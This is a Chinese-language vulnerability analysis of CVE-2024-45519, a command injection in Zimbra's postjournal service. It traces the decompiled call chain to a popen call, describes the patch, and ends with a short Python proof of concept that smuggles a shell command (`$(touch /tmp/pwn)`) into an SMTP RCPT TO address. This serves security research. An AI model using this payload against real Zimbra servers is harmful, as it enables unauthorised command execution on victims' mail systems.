Zimbra-RCE-分析(CVE-2024-45519)

漏洞简介

在远程 Zimbra 服务器开启了 postjournal 服务时,未授权的远程攻击者可构造特殊的请求包发送至远程的Zimbra系统,在目标系统中执行命令,从而获取目标系统的服务器权限。

影响版本

仅影响 Zimbra Network Edition 付费版本

  • Zimbra Collaboration < 8.8.15 Patch 46

  • Zimbra Collaboration < 9.0.0 Patch 41

  • Zimbra Collaboration < 10.0.9

  • Zimbra Collaboration < 10.1.1

前置知识

邮件相关的协议

  • smtp
  • pop3
  • imap

image-20241005191535999

邮件基础原理

  • MUA(Mail User Agent)接收邮件所使用的邮件客户端,使用IMAP或POP3协议与服务器通信;

  • MTA(Mail Transfer Agent) 通过SMTP协议发送、转发邮件;

  • MDA(Mail Deliver Agent)将MTA接收到的邮件保存到磁盘或指定地方,进行垃圾邮件及病毒扫描;

  • MRA(Mail Receive Agent)负责实现IMAP与POP3协议,与MUA进行交互;

  • SMTP(Simple Mail Transfer Protocol)传输发送邮件所使用的标准协议;

  • IMAP(Internet Message Access Protocol)接收邮件使用的标准协议之一;

  • POP3(Post Office Protocol 3) 接收邮件使用的标准协议之一。

概念 常用软件
MUA outlook、thunderbird、Mac Mail、mutt
MTA sendmail、postfix
MDA procmail、dropmail
MRA dovecot

image-20241005192254815

image-20241005192630665

邮件过程图示

img

zimbra架构

Zimbra Collaboration Server(Zimbra协作服务器)简称:ZCS,zimbra目前分为

  • Zimbra Open Source (ZOS):开源,免费
  • Zimbra Network Edition (ZNE):商业,付费

在安装时会安装以下包:

  • zimbra-core:核心组件,libraries, utilities, monitoring tools, and basic configuration files
  • zimbra-ldap:用户验证组件
  • zimbra-logger:用于系统日志聚合和报告的工具
  • zimbra-mta:负责邮件的传输和递送,使用 Postfix。它处理邮件的收发、转发以及垃圾邮件和病毒扫描等功能
  • zimbra-dnscache:用于提供本地 DNS 缓存服务
  • zimbra-snmp:对 Zimbra 邮件服务器进行监控和管理
  • zimbra-store:核心组件,主要负责处理与邮箱相关的所有存储、访问和管理、WEB应用功能
  • zimbra-apache:随zimbra-spell自动安装
  • zimbra-spell:拼写检查
  • zimbra-memcached:一个加快数据访问速度的缓存服务模块,帮助管理会话信息、身份验证状态以及其他需要快速访问的数据
  • zimbra-proxy:一种高性能的反向代理服务,用于将IMAP[S]/POP[S]/HTTP[S]客户端请求传递给其他内部ZCS服务
  • zimbra-drive:WEB客户端管理文件
  • zimbra-patch:修漏洞用
  • zimbra-mta-patch:修漏洞用
  • zimbra-proxy-patch:修漏洞用
  • zimbra-chat:在 Web 客户端中进行实时消息交流

以下是不同端口的功能:https://wiki.zimbra.com/wiki/Ports

  • 25:smtp,邮件服务
  • 80:web mail client
  • 465:smtps,邮件服务 with TLS
  • 587:Mail submission over TLS
  • 110:POP3
  • 143:IMAP
  • 993:IMAP over TLS
  • 995:POP3 over TLS
  • 443:HTTP over TLS
  • 8080:Backend HTTP
  • 8443:Backend HTTPS
  • 7071:admin console HTTP over TLS
  • 9071:HTTP over TLS
  • 10027:postjournal

postjournal

https://wiki.zimbra.com/wiki/New_Features_ZCS_8.5

该服务可以为所有进入或离开 MTA 并传递到特定地址的消息创建日志,即该服务创建邮件副本,作为日志进行留存。

环境搭建

单服务器搭建参考:https://zimbra.github.io/installguides/latest/single.html

因硬件条件不支持,没有成功安装Network版本,故搭建本地测试环境失败。

漏洞分析

通过下载历史版本安装包:https://files.zimbra.com/downloads/8.8.15_GA/zcs-NETWORK-8.8.15_GA_4177.UBUNTU20_64.20211112014220.tgz ,找到 postjournal 二进制文件,路径:

zcs-NETWORK-8.8.15_GA_4177.UBUNTU20_64.20211112014220\packages\zimbra-core_8.8.15.GA.4177.UBUNTU20.64_amd64.deb\data.tar\.\opt\zimbra\libexec\postjournal

main通过 get_pj_config 和 get_pf_config 函数配置一些变量

image-20241006143609380

image-20241006143736540

main最后通过 msg_receiver 用于接收处理SMTP消息,间接调用 msg_handler() 处理 MSG 消息对象

image-20241006143901566

msg_receiver 中,首先初始化MSG对象

MSG *__cdecl msg_init()
{
MSG *msg; // [rsp+8h] [rbp-8h]

msg = (MSG *)malloc(0x58uLL);
if ( !msg )
return 0LL;
msg->current_state = 0;
msg->current_time = 0LL;
msg->helo_hostname = 0LL;
msg->origin_address = 0LL;
msg->received_hdr = 0LL;
msg->rcpt_addresses = 0LL;
msg->xforward_info = 0LL;
msg->subject = 0LL;
msg->msg_id = 0LL;
msg->message = 0LL;
msg->msg_file = 0LL;
return msg;
}

循环解析出输入流中SMTP命令

image-20241006160034993

匹配RCPT时,调用 rcpt_to_handler

image-20241006173102048

rcpt_to_handler 解析出 RCPT TO:<...> 中的email地址存储在 msg->rcpt_addresses

image-20241006173252466

最后调用 msg_handler 进一步处理SMTP消息

image-20241006165433602

跟进 msg_handler ,通过 find_addresses 获取一个email地址列表,随后将 msg->rcpt_addresses 合并到该列表后调用 expand_addrs 尝试获取列表中的email地址

image-20241006165352384

expand_addrs 通过三种邮件映射类型去获取真正的邮件地址,调用到了 address_lookup

  • virtual_alias_maps
  • canonical_maps
  • local_alias_maps

image-20241006165635610

address_lookup 就是上述三种映射的封装,并调用 map_address

image-20241006170435750

map_address 调用 read_addr_maps

image-20241006170623079

read_addr_maps 调用 read_maps

image-20241006170658536

最终在 read_maps 通过可控的 email addr 进行格式化字符串完成popen命令注入

image-20241006171425215

完整调用链

main
└── msg_handler(MSG *msg)
└── expand_addrs
└── address_lookup
└── map_address
└── read_addr_maps
└── read_maps
└── popen(通过rcpt_addresses)

下载漏洞修复的patch文件:https://repo.zimbra.com/apt/8815-ne/pool/zimbra/z/zimbra-patch/zimbra-patch_8.8.15.1723777774.p46-2.u16_amd64.deb

zimbra-patch_8.8.15.1723777774.p46-2.u16_amd64.deb\data.tar\.\opt\zimbra\lib\patches\

在 read_maps 新增函数 run_commandis_safe_input

image-20241006180549199

is_safe_input过滤一些注入字符

image-20241006180635140

run_command通过execvp以数组形式更安全的执行命令

image-20241006180653204

漏洞复现

根据文档,10027端口为postjournal端口,构造SMTP结构消息体发过去即可

def smtp_payload_check_vulnerability(host, port, oast):
try:
with socket.create_connection((host, port), timeout=10) as conn:
conn.send(b'EHLO localhost\r\n')
conn.recv(1024)

conn.send(b'MAIL FROM: <[email protected]>\r\n')
conn.recv(1024)

rcpt_to_payload = f'RCPT TO: <"exploit$(touch /tmp/pwn)"@mail.domain.com>\r\n'.encode()
conn.send(rcpt_to_payload)
conn.recv(1024)

conn.send(b'DATA\r\n')
conn.recv(1024)

conn.send(b'aaa\r\n.\r\n')
resp = conn.recv(1024)

conn.send(b'QUIT\r\n')
return resp.decode('utf-8')

except Exception as e:
return f"Error: {str(e)}"

漏洞利用限制

默认不开启

postjournal 服务默认不开启,开启命令

zmlocalconfig -e postjournal_enabled=true
zmcontrol restart

本地运行

Zimbra 中的一些服务是在本地地址上运行,无法通过公网直接访问,当开启该服务时,只能通过25端口进行 “转发” 到该服务,造成RCE

image-20241006175634525

ip限制

zimbra中 postconf 的选项 smtpd_relay_restrictions,仅允许在客户端经过身份验证或客户端在 mynetworks 列表中时发送邮件

当没有经过身份验证时,mynetworks为:公网ip/20的CIDR ,还是有概率被打的 :(

mynetworks = 127.0.0.0/8 [::1]/128 <Public IP>/20 10.47.0.0/16 10.122.0.0/20

参考

https://blog.projectdiscovery.io/zimbra-remote-code-execution/

https://wiki.zimbra.com/wiki/Ports